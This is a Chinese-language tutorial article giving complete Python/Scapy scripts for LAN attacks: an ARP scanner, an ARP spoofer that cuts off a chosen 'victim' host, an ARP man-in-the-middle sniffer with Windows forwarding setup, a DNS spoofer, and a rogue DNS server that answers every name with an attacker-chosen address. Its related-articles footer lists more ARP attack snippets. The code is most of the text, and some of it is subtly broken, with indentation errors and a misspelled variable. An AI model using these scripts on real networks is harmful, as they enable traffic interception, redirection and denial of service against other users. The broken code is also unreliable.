Python ARP扫描与欺骗实现全程详解

ARP欺骗又称ARP毒化或ARP攻击,是针对以太网地址解析协议ARP的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定计算机或所有计算机无法正常连线。

实现ARP扫描: 运用Scapy工具包,开发一款ARP扫描工具,扫描网段内所有的在线主机并显示其MAC地址。

from scapy.all import *
from optparse import OptionParser
import threading
def parse_ip(targets):
    _split = targets.split('-')
    first_ip = _split[0]
    ip_split = first_ip.split('.')
    ipv4 = range(int(ip_split[3]),int(_split[1])+1)
    addr = [ ip_split[0]+'.'+ip_split[1]+'.'+ip_split[2]+'.'+str(p) for p in ipv4 ]
    return addr
def arp_scan(address):
    try:
        ret = sr1(ARP(pdst=address),timeout=5,verbose=False)
        if ret:
            if ret.haslayer('ARP') and ret.fields['op'] == 2:
                print('[+] IP地址: {} => MAC地址:{}'.format(ret.fields['psrc'],ret.fields['hwsrc']))
    except Exception:
        exit(1)
def Banner():
    print("  _          ____  _                _    ")
    print(" | |   _   _/ ___|| |__   __ _ _ __| | __")
    print(" | |  | | | \___ \| '_ \ / _` | '__| |/ /")
    print(" | |__| |_| |___) | | | | (_| | |  |   < ")
    print(" |_____\__, |____/|_| |_|\__,_|_|  |_|\_\\")
    print("       |___/                             \n")
    print("E-Mail: me@lyshark.com\n")
if __name__ == "__main__":
    Banner()
    parser = OptionParser()
    parser.add_option("-a","--addr",dest="address",help="--> input 192.168.1.0-100")
    (options,args) = parser.parse_args()
    if options.address:
        addr_list = parse_ip(options.address)
        for item in addr_list:
            threads = []
            t = threading.Thread(target=arp_scan,args=(item,))
            threads.append(t)
            t.start()
        for item in threads:
            item.join()
    else:
        parser.print_help()

执行扫描如下:

实现ARP欺骗: 通过ARP协议扫描网络中在线主机,并能够指定IP地址断掉网络.

from scapy.all import *
import argparse
import threading,time

# 生成网段信息,例如输入: 192.168.1.1/20 生成`1-20`地址
def Parse_IP(targets):
    _split = targets.split('/')
    first_ip = _split[0]
    ip_split = first_ip.split('.')
    ipv4 = range(int(ip_split[3]),int(_split[1])+1)
    addr = [ ip_split[0]+'.'+ip_split[1]+'.'+ip_split[2]+'.'+str(p) for p in ipv4 ]
    return addr

# 通过ARP协议扫描局域网中在线的设备
def ARP_Scan(address):
    try:
        ret = sr1(ARP(pdst=address),timeout=5,verbose=False)
        if ret:
            if ret.haslayer('ARP') and ret.fields['op'] == 2:
                print('[+] IP地址: %-13s ==> MAC地址: %-15s' %(ret.fields['psrc'],ret.fields['hwsrc']))
    except Exception:
        exit(1)
# 创建并发送有效载荷
def SendPayload(Interface,srcMac,tgtMac,gateWayMac,gatewayIP,tgtIP):
    print("[+] 目标MAC: {} 目标IP: {} 发送: 2 packets".format(tgtMac,tgtIP))
    # 生成ARP数据包,伪造网关欺骗目标计算机
    sendp(Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2),iface=Interface)
    # 生成ARP数据包,伪造目标计算机欺骗网关
    sendp(Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2),iface=Interface)
    print("-------------------------------------------------------------------------")
def Banner():
    print("  _          ____  _                _    ")
    print(" | |   _   _/ ___|| |__   __ _ _ __| | __")
    print(" | |  | | | \___ \| '_ \ / _` | '__| |/ /")
    print(" | |__| |_| |___) | | | | (_| | |  |   < ")
    print(" |_____\__, |____/|_| |_|\__,_|_|  |_|\_\\")
    print("       |___/                             \n")
    print("E-Mail: me@lyshark.com\n")
if __name__ == "__main__":
	Banner()
    parser = argparse.ArgumentParser()
    parser.add_argument("-s","--scan",dest="scan",help="输入一个扫描网段")
    parser.add_argument("-i","--interface",dest="interface",help="输入接口名")
    parser.add_argument("-g","--gateway",dest="gateway",help="输入网关地址")
    parser.add_argument("-t","--target",dest="target",help="输入被害主机地址")
    args = parser.parse_args()
    # 使用方式: main.py -s192.168.1.1/100
    if args.scan:
        addr_list = Parse_IP(args.scan)
        for item in addr_list:
            threads = []
            t = threading.Thread(target=ARP_Scan,args=(item,))
            threads.append(t)
            t.start()
        for item in threads:
            item.join()
    # 使用方式: main.py -i "Realtek PCIe GBE Family Controller" -g 192.168.1.1 -t 192.168.1.10
    elif args.gateway and args.target and args.scan == None:
            srcMac = get_if_hwaddr(args.interface)                 # 通过接口名称获取本机MAC地址
            tgtMac = getmacbyip(args.target)                       # 通过IP地址获取目标计算机的MAC地址
            gatewayMac = getmacbyip(args.gateway)                  # 指定本机网段的网关MAC地址
            while True:
                t = threading.Thread(target=SendPayload,args=(args.interface,srcMac,tgtMac,gatewayMac,args.gateway,args.target))
                t.start()
                t.join()
                time.sleep(1)
    else:
        parser.print_help()

开启转发功能,开始运行里面输入regedit打开注册表编辑器,在注册表定位下面注册表项。

HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/ Services/Tcpip/Parameters

选择下面的项目:IPEnableRouter:REG_DWORD:0x0 找到项目鼠标右键修改数值为1

ARP数据嗅探: 利用欺骗实现的局域网嗅探工具Windows下需要开启Routing And RemoteAccess转发服务.

import sys,os,threading
import argparse
from scapy.all import *
# 生成ARP数据包,伪造网关欺骗目标计算机
def createArp2Station(interface,target_ip,gateway_ip):
    dst_Mac=str(getmacbyip(target_ip))
    self_Mac=str(get_if_hwaddr(interface))
    Ether_data=Ether(src=self_Mac,dst=dst_Mac) / ARP(op=2,hwsrc=self_Mac,psrc=gateway_ip,hwdst=dst_Mac,pdst=target_ip)
    try:
        sendp(Ether_data,inter=2,iface=interface,loop=1)
    except Exception as e:
        print("目标ARP数据发送失败!")
# 生成ARP数据包,伪造目标计算机欺骗网关
def createArp2Gateway(interface,target_ip,gateway_ip):
    dst_Mac = getmacbyip(gateway_ip)
    self_Mac = get_if_hwaddr(interface)
    Ether_data = None
    Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=target_ip, hwdst=dst_Mac, pdst=gateway_ip)
    try:
        sendp(Ether_data, inter=2,iface=interface,loop=1)
    except Exception as e:
        print("网关ARP数据发送失败!")
def Packet_CallBack(pkt):
    if pkt.haslayer(IP):
        if pkt.getlayer(IP).src != "127.0.0.1":
            ip_src = pkt.getlayer(IP).src
            ip_dst = pkt.getlayer(IP).dst
            print("源地址: {} ---> 目标地址: {}".format(ip_src,ip_dst))
def Banner():
    print("  _          ____  _                _    ")
    print(" | |   _   _/ ___|| |__   __ _ _ __| | __")
    print(" | |  | | | \___ \| '_ \ / _` | '__| |/ /")
    print(" | |__| |_| |___) | | | | (_| | |  |   < ")
    print(" |_____\__, |____/|_| |_|\__,_|_|  |_|\_\\")
    print("       |___/                             \n")
    print("E-Mail: me@lyshark.com\n")
if __name__ == "__main__":
    # 使用方式: main.py -i "Realtek PCIe GBE Family Controller" -g 192.168.1.1 -t 192.168.1.10
	Banner()
    parser = argparse.ArgumentParser()
    parser.add_argument("-i","--interface",dest="interface",help="输入网卡名称")
    parser.add_argument("-t","--target_ip",dest="target_ip",help="输入目标主机IP")
    parser.add_argument("-g","--gateway",dest="gateway",help="输入网关地址")
    args = parser.parse_args()
    if args.interface and args.target_ip and args.gateway:
        try:
            t1=threading.Thread(target=createArp2Station,args=(args.interface,args.target_ip,args.gateway))
            t1.setDaemon(True)
            t1.start()
            t2=threading.Thread(target=createArp2Gateway,args=(args.interface,args.target_ip,args.gateway))
            t2.setDaemon(True)
            t2.start()
            sniff(prn=Packet_CallBack,filter="tcp",iface=args.interface)
        except Exception:
            sys.exit(1)
        while True:
            pass
    else:
        parser.print_help()
# http and ip.src_host==192.168.1.6 and http.request.method==GET and !(http.request.full_uri matches "http://.*\.jpg.*")

实现DNS欺骗: 网上其他人的一种实现方法,代码如下,只不过我们只做了ARP骗,而在该欺骗基础上可以加强为DNS欺骗。

import sys
import os
import threading
from scapy.all import *
from optparse import  OptionParser
#DNS欺骗函数
def DNS_Spoof(data):
    if data.haslayer(DNS):
        try:
            #构造DNS AN数据
            dns_an=DNSRR(rrname=data[DNS].qd.qname,rdata=jokers)
            #构造IP/UDP数据包
            repdata=IP(src=data[IP].dst,dst=data[IP].src)/UDP(dport=data[IP].sport,sport=53)
            #构造DNS数据包
            repdata/=DNS(id=data[DNS].id,qd=data[DNS].qd,qr=1,an=dns_an)
            #攻击信息输出
            print ('\nhancker ip :' + jokers + " url : "+data[DNS].qd.qname)
            #发送数据包
            send(repdata)
        except Exception:
            sys.exit(1)
#DNS欺骗函数
def DNS_S(dns_ip,iface):
    global jokers
    jokers=dns_ip
    print ("DNS欺骗开始!")
    sniff(prn=DNS_Spoof,filter='udp dst port 53',iface=iface)
#ARP欺骗函数
def op(eths,mubiao_ip,Ps,gateway_ip):
    ip=mubiao_ip
    wifi=gateway_ip
    #目标设备MAC地址
    dst_Mac=str(getmacbyip(ip))
    #黑客设备mac地址
    self_Mac=str(get_if_hwaddr(eths))
    #网关MAC地址
    wifi_Mac=str(getmacbyip(wifi))
    #构造以太帧数据
    Ether_data=Ether(src=self_Mac,dst=dst_Mac)/ARP(op=2,hwsrc=self_Mac,psrc=wifi,hwdst=dst_Mac,pdst=ip)
    try:
        #发送以太帧数据,sendp发送OSI模型中的二层数据
        sendp(Ether_data,inter=2,iface=eths,loop=1)
    except Exception as e:
        print("目标ARP数据发送失败!")
def wifi(eths,mubiao_ip,gateway_ip,Ps,dns_ip):
    ip=gateway_ip
    dst=mubiao_ip
    et = eths
    #根据IP获取MAC
    dst_Mac = getmacbyip(ip)
    #根据网卡获取MAC
    self_Mac = get_if_hwaddr(et)
    Ether_data = None
    if Ps=="1":
        #构造以太帧数据与ARP响应数据,ARP协议源地址给一个不存在的MAC地址与正确的IP地址对应,实现双向的无法解析,ARP协议的op参数是状态,2为响应数据,1为请求数据
        Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc='12:1a:13:a3:13:ef', psrc=dst, hwdst=dst_Mac, pdst=ip)
        #新线程,开始DNS欺骗
        t3 = threading.Thread(target=DNS_S, args=(dns_ip,eths))
        t3.setDaemon(True)
        t3.start()
    if Ps == "0":
        #构造以太帧数据与ARP响应数据,这里因为不需要DNS欺骗,所以不需要一个假的MAC地址,让双方通信设备正常访问即可
        Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=dst, hwdst=dst_Mac, pdst=ip)
    if Ps!="1" and Ps!="0":
        print (Ps)
        print (type(Ps))
        print ('-P 参数有误!')
        sys.exit(1)
    try:
        sendp(Ether_data, inter=2,iface=et,loop=1)
    except Exception as e:
        print("网关ARP数据发送失败!")
def main():
    try:
            eth= "Realtek PCIe GBE Family Controller"
            mubiao="192.168.1.6"
            gateway="192.168.1.1"
            P="0"
            dip="8.8.8.8"
            t1=threading.Thread(target=op,args=(eth,mubiao,P,gateway))
            t1.setDaemon(True)
            t1.start()
            t2=threading.Thread(target=wifi,args=(eth,mubiao,gateway,P,dip))
            t2.setDaemon(True)
            t2.start()
    except Exception as e:
        print (e)
        sys.exit(1)
    while True:
        pass
if __name__ == '__main__':
    main()

DNS欺骗需要一个DNS解析服务器,这里从网上找到一个DNS解析服务器代码,可以快速解析。

import socketserver,struct
class SinDNSQuery:
    def __init__(self, data):
        i = 1
        self.name = ''
        while True:
            d = data[i]
            if d == 0:
                break;
            if d < 32:
                self.name = self.name + '.'
            else:
                self.name = self.name + chr(d)
            i = i + 1
        self.querybytes = data[0:i + 1]
        (self.type, self.classify) = struct.unpack('>HH', data[i + 1:i + 5])
        self.len = i + 5
    def getbytes(self):
        return self.querybytes + struct.pack('>HH', self.type, self.classify)
class SinDNSAnswer:
    def __init__(self, ip):
        self.name = 49164
        self.type = 1
        self.classify = 1
        self.timetolive = 190
        self.datalength = 4
        self.ip = ip
    def getbytes(self):
        res = struct.pack('>HHHLH', self.name, self.type, self.classify, self.timetolive, self.datalength)
        s = self.ip.split('.')
        res = res + struct.pack('BBBB', int(s[0]), int(s[1]), int(s[2]), int(s[3]))
        return res
class SinDNSFrame:
    def __init__(self, data):
        (self.id, self.flags, self.quests, self.answers, self.author, self.addition) = struct.unpack('>HHHHHH', data[0:12])
        self.query = SinDNSQuery(data[12:])
    def getname(self):
        return self.query.name
    def setip(self, ip):
        self.answer = SinDNSAnswer(ip)
        self.answers = 1
        self.flags = 33152
    def getbytes(self):
        res = struct.pack('>HHHHHH', self.id, self.flags, self.quests, self.answers, self.author, self.addition)
        res = res + self.query.getbytes()
        if self.answers != 0:
            res = res + self.answer.getbytes()
        return res
class SinDNSUDPHandler(socketserver.BaseRequestHandler):
    def handle(self):
        data = self.request[0].strip()
        dns = SinDNSFrame(data)
        socket = self.request[1]
        namemap = SinDNSServer.namemap
        if(dns.query.type==1):
            name = dns.getname();
            if namemap.__contains__(name):
                dns.setip(namemap[name])
                socket.sendto(dns.getbytes(), self.client_address)
            elif namemap.__contains__('*'):
                dns.setip(namemap['*'])
                socket.sendto(dns.getbytes(), self.client_address)
            else:
                socket.sendto(data, self.client_address)
        else:
            socket.sendto(data, self.client_address)
class SinDNSServer:
    def __init__(self, port=53):
        SinDNSServer.namemap = {}
        self.port = port
    def addname(self, name, ip):
        SinDNSServer.namemap[name] = ip
    def start(self):
        HOST, PORT = "0.0.0.0", self.port
        server = socketserver.UDPServer((HOST, PORT), SinDNSUDPHandler)
        server.serve_forever()
if __name__ == "__main__":
    server = SinDNSServer()
    server.addname('www.lyshark.com', '192.168.1.1')
    server.addname('*', '192.168.1.2')
    server.start()

到此这篇关于Python ARP扫描与欺骗实现全程详解的文章就介绍到这了,更多相关Python ARP扫描内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • python使用arp欺骗伪造网关的方法

    本文实例讲述了python使用arp欺骗伪造网关的方法.分享给大家供大家参考.具体实现方法如下: #coding:utf-8 ''' arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc ''' from scapy.all import ARP,send,arping import sys,re stdout=sys.stdout IPADDR="192.168.1.*" gateway_ip='192.168.1.1' #伪造网关mac地址 gateway_hw='

  • python写的ARP攻击代码实例

    注:使用这个脚本需要安装scapy 包最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题 复制代码 代码如下: #coding:utf-8#example :sudo  python arp_dos.py  192.168.1.103 from scapy.all import ARP,sendimport os,re,sys def get_gateway_ip():    t=os.popen('route -n')    for i in t:       

  • python发送arp欺骗攻击代码分析

    复制代码 代码如下: # -*- coding: cp936 -*-from scapy.all import *from threading import Thread,Lock,activeCount BROADCASTMAC = getmacbyip('192.168.0.120') class Loop(Thread):    def __init__(self,ip):        Thread.__init__(self)        self.ip = ip def run(s

  • python发送伪造的arp请求

    复制代码 代码如下: #!/usr/bin/env pythonimport socket s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)s.bind(("lo", 0)) src_addr = "\x50\x3d\xe5\x0e\x35\x3f"dst_addr = "\xff\xff\xff\xff\xff\xff"ethertype = "\x08\x06" s.

  • Python利用scapy实现ARP欺骗的方法

    一.实验原理. 本次用代码实现的是ARP网关欺骗,通过发送错误的网关映射关系导致局域网内其他主机无法正常路由.使用scapy中scapy.all模块的ARP.sendp.Ether等函数完成包的封装与发送.一个简单的ARP响应报文发送: eth = Ether(src=src_mac, dst=dst_mac)#赋值src_mac时需要注意,参数为字符串类型 arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=

  • python使用scapy模块实现ARP扫描的过程

    前言 上篇文章主要写了利用scapy实现ping扫描,这篇文章主要是利用scapy模块实现内网ARP扫描 实现过程 上篇文章中介绍了通过scapy来伪造包,那么ARP包的伪造过程这里不再详述,说一工具的简单整体流程 1.首先,实现单个IP的ARP包的发送和接收 2.其次,实现多进程同时多个ARP包的发送和接收 整体的实现流程与上个脚本的实现较为相似 单进程ARP包 包的构造: def scapy_arp_one(ip_address, queue=None): Packet = Ether(ds

  • Python ARP扫描与欺骗实现全程详解

    ARP欺骗又称ARP毒化或ARP攻击,是针对以太网地址解析协议ARP的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通.此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定计算机或所有计算机无法正常连线. 实现ARP扫描: 运用Scapy工具包,开发一款ARP扫描工具,扫描网段内所有的在线主机并显示其MAC地址. from scapy.all import * from optparse impo

  • 利用Python多处理库处理3D数据详解

    今天我们将介绍处理大量数据时非常方便的工具.我不会只告诉您可能在手册中找到的一般信息,而是分享一些我发现的小技巧,例如tqdm与 multiprocessing​imap​​一起使用.并行处理档案.绘制和处理 3D 数据以及如何搜索如果您有点云,则用于对象网格中的类似对象.​ 那么我们为什么要求助于并行计算呢?如今,如果您处理任何类型的数据,您可能会面临与"大数据"相关的问题.每次我们有不适合 RAM 的数据时,我们都需要一块一块地处理它.幸运的是,现代编程语言允许我们生成在多核处理器

  • Python数据结构与算法之跳表详解

    目录 0. 学习目标 1. 跳表的基本概念 1.1 跳表介绍 1.2 跳表的性能 1.3 跳表与普通链表的异同 2. 跳表的实现 2.1 跳表结点类 2.2 跳表的初始化 2.3 获取跳表长度 2.4 读取指定位置元素 2.5 查找指定元素 2.6 在跳表中插入新元素 2.7 删除跳表中指定元素 2.8 其它一些有用的操作 3. 跳表应用 3.1 跳表应用示例 0. 学习目标 在诸如单链表.双线链表等普通链表中,查找.插入和删除操作由于必须从头结点遍历链表才能找到相关链表,因此时间复杂度均为O(

  • Python 十大经典排序算法实现详解

    目录 关于时间复杂度 关于稳定性 名词解释 1.冒泡排序 (1)算法步骤 (2)动图演示 (3)Python代码 2.选择排序 (1)算法步骤 (2)动图演示 (3)Python代码 3.插入排序 (1)算法步骤 (2)动图演示 (3)Python代码 4.希尔排序 (1)算法步骤 (2)Python代码 5.归并排序 (1)算法步骤 (2)动图演示 (3)Python代码 6.快速排序 (1)算法步骤 (2)动图演示 (3)Python代码 7.堆排序 (1)算法步骤 (2)动图演示 (3)P

  • Python图像运算之腐蚀与膨胀详解

    目录 前言 一.形态学理论知识 二.图像腐蚀 三.图像膨胀 四.总结 前言 这篇文章将详细讲解开始图像形态学知识,主要介绍图像腐蚀处理和膨胀处理.数学形态学(Mathematical Morphology)是一种应用于图像处理和模式识别领域的新方法.数学形态学(也称图像代数)表示以形态为基础对图像进行分析的数学工具,其基本思想是用具有一定形态的结构元素去量度和提取图像中对应形状以达到对图像分析和识别的目的. 一.形态学理论知识 数学形态学的应用可以简化图像数据,保持它们基本的形状特征,并出去不相

  • Python中线程threading.Thread的使用详解

    目录 1. 线程的概念 2. threading.thread()的简单使用 2.1 添加线程可以是程序运行更快 2.2 主线程会等待所有的子线程结束后才结束 3.查看线程数量 4.线程参数及顺序 4.1 传递参数的方法 4.2 线程的执行顺序 5. 守护线程 1. 线程的概念 线程,有时被称为轻量级进程(Lightweight Process,LWP),是程序执行流的最小单元.一个标准的线程由线程ID,当前指令指针(PC),寄存器集合和堆栈组成.另外,线程是进程中的一个实体,是被系统独立调度和

  • python之sqlalchemy创建表的实例详解

    python之sqlalchemy创建表的实例详解 通过sqlalchemy创建表需要三要素:引擎,基类,元素 from sqlalchemy import create_engine from sqlalchemy.ext.declarative import declarative_base from sqlalchemy import Column,Integer,String 引擎:也就是实体数据库连接 engine = create_engine('mysql+pymysql://go

  • 基于python中staticmethod和classmethod的区别(详解)

    例子 class A(object): def foo(self,x): print "executing foo(%s,%s)"%(self,x) @classmethod def class_foo(cls,x): print "executing class_foo(%s,%s)"%(cls,x) @staticmethod def static_foo(x): print "executing static_foo(%s)"%x a=A(

  • python爬虫之BeautifulSoup 使用select方法详解

    本文介绍了python爬虫之BeautifulSoup 使用select方法详解 ,分享给大家.具体如下: <html><head><title>The Dormouse's story</title></head> <body> <p class="title" name="dromouse"><b>The Dormouse's story</b></

  • Python实现屏幕截图的代码及函数详解

    废话不多说,先给大家看下python实现屏幕截图的代码,具体代码如下所述: from selenium import webdriver import time def capture(url, save_fn="capture.png"): browser = webdriver.Firefox() # Get local session of firefox browser.set_window_size(1200, 900) browser.get(url) # Load pag

随机推荐